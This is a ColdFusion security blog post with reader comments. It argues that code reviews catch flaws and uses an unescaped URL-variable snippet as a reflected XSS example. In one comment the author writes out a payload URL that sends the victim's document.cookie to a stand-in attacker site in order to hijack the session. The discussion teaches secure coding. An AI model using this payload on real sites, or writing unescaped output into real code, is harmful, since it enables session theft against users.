Security Tip: Code reviews are good for security too

It seems like a no-brainer to me, but I will say it anyway. Code reviews are a good thing. Some people may shy away from them because it may make them feel inadequate or like they are being judged. But the idea behind a code review is to learn.

Code reviewing is a great way for a developer (novice or otherwise) to track down inefficiencies or architectural problems with their code by using the experience of other developers as a tool. We all know that two heads are better than one, right?

Code reviews can also be a great way to track down vulnerabilities in your applications. This is especially true for novice developers or for developers who have not had any formal security training (most of us?).

I was recently at a presentation where code similar to this was displayed:


<cfif IsDefined("url.name") and Len(url.name)>
Hello, <cfoutput>#url.name#</cfoutput>
</cfif>

Many of the developers in the room had a hard time identifying the vulnerability. This is because we are not trained to look for them. We think so much about how our applications should be used, we sometimes don't think about how they might be misused.

By having other developers look at your code, you can discuss inefficiencies and vulnerabilities and learn how to look for these things so that you can recognize them in the future.

I'll be the first to admit that I do not write the best code. I definitely have a lot to learn. But at the same time, I also have a lot to offer. Perhaps, during my code review, I can teach something to those reviewing my code. Either way, the worst thing that will come out of it is that I will learn something.

Additional Resources

Ounce Labs: FAQ Security Code Review Wikipedia Article: Code Reviews

Comments
Gabriel's Gravatar What's the vulnerability in the sample code? Or is it a secret. :-)
# Posted By Gabriel | 6/4/09 10:30 AM
C.Gratz's Gravatar @Gabriel
What if the hacker sent in some script in the url that ran something bad? There are lots of nasties that can come in via a URL varaiable
if you don't strip them off/filter them out, and just display them on the screen.

PS...I am not saying that I always see this type of vulnerability my self, so good post Jason.
# Posted By C.Gratz | 6/4/09 11:30 AM
Gabriel's Gravatar My brain was so busy looking at this with sql injection googles that it didn't even register to put on its nasty javascript googles.

I need some brain spring cleaning or some sleep. Thank you.
# Posted By Gabriel | 6/4/09 11:45 AM
Brian Swartzfager's Gravatar I'm still not quite clear on the threat posed by this exact example. Say the hacker does put malicious JavaScript in the URL variable. That JavaScript executes locally on their own browser: it doesn't affect anyone else who's using the website, nor does it give them de-facto access to the data on the backend of the site.

Now they could use that JavaScript to expose otherwise-hidden data on the web page (hidden input fields, for example), and that could be a problem depending on what's in those hidden fields. But they don't need to hack a URL or form variable to do that: anyone can mess with the HTML of the form using the Greasemonkey or Web Developer Toolbar plugins for Firefox.
# Posted By Brian Swartzfager | 6/4/09 12:20 PM
Jason Dean's Gravatar @gabriel, thanks for the comment. I saw it before anyone else answered, but I held off on answering to see if someone else would. I'm glad I did.

@C. Gratz - thanks for answering the question.
# Posted By Jason Dean | 6/4/09 12:24 PM
Jason Dean's Gravatar @Brian, that is a great question. Is there really a threat in code like this? Let's look at it.

Let's say that this was how a page displayed a users name on the myAccount.cfm page after they logged into a system that uses standard ColdFusion session management. For some reason, the developer decided to use this method to pass the name or some other information instead of storing it in the session scope and retrieving it from there. Regardless, they are doing it this way, and that is a vulnerability.

So let's say that I am a hacker, and I am trying to exploit one of the users on the system with this vulnerability. So I send an email to the user an trick them into clicking on a link that goes to:

ourvulnerablesite.com/myAccount.cfm?name=Jason&<script>window.location='superevilhackersite.com/hack.php?cookies='%2bdocument.cookie</script>

This little diddy would result in the user being redirected to the hackers site, where the hacker can harvest the user's session token out of the URL string. The hacker site can then automatically reroute the user back to the myAccount.cfm page on the vulnerable site, this time without the malicious script, hence the page will behave normally. In the meantime, the hacker is hijacking that user's session and the user has no idea.
# Posted By Jason Dean | 6/4/09 12:42 PM
Gabriel's Gravatar @Brian,

After CGratz mentioned nasties coming in from the url, the case I envisioned has the hacker put malicious javascript in the url but then that malicious link is spread throughout the web. Maybe in something like comments, email, forum posts, tinyurl, etc.

Real users who then click on that link would think they were coming to my site, which they are, but what happens when they reach the page could be poisoned by the hacker.
# Posted By Gabriel | 6/4/09 12:46 PM
Brian Swartzfager's Gravatar @Jason: Interesting. I didn't consider the idea of grabbing the session token (and by that I assume you're referring to CFTOKEN and CFID) out of the browser cookie and sending it off to another site.

That would imply that it's not safe to output any raw user-supplied value (form or URL) into the rendered HTML of any page.
# Posted By Brian Swartzfager | 6/4/09 1:13 PM
Jason Dean's Gravatar @Brian, that is 100% correct. Except let's take it further. Include Cookies and CGI to that list. Anything that can be manipulated by the end user is suspect.

I'm not saying I can come up with something right off the top of my head that could be used to exploit either of those, so please don't ask :) But I can assure you that people (hackers) a lot smart than me will figure out a way.
# Posted By Jason Dean | 6/4/09 1:18 PM
BlogCFC was created by Raymond Camden. This blog is running version 5.9.1. Contact Blog Owner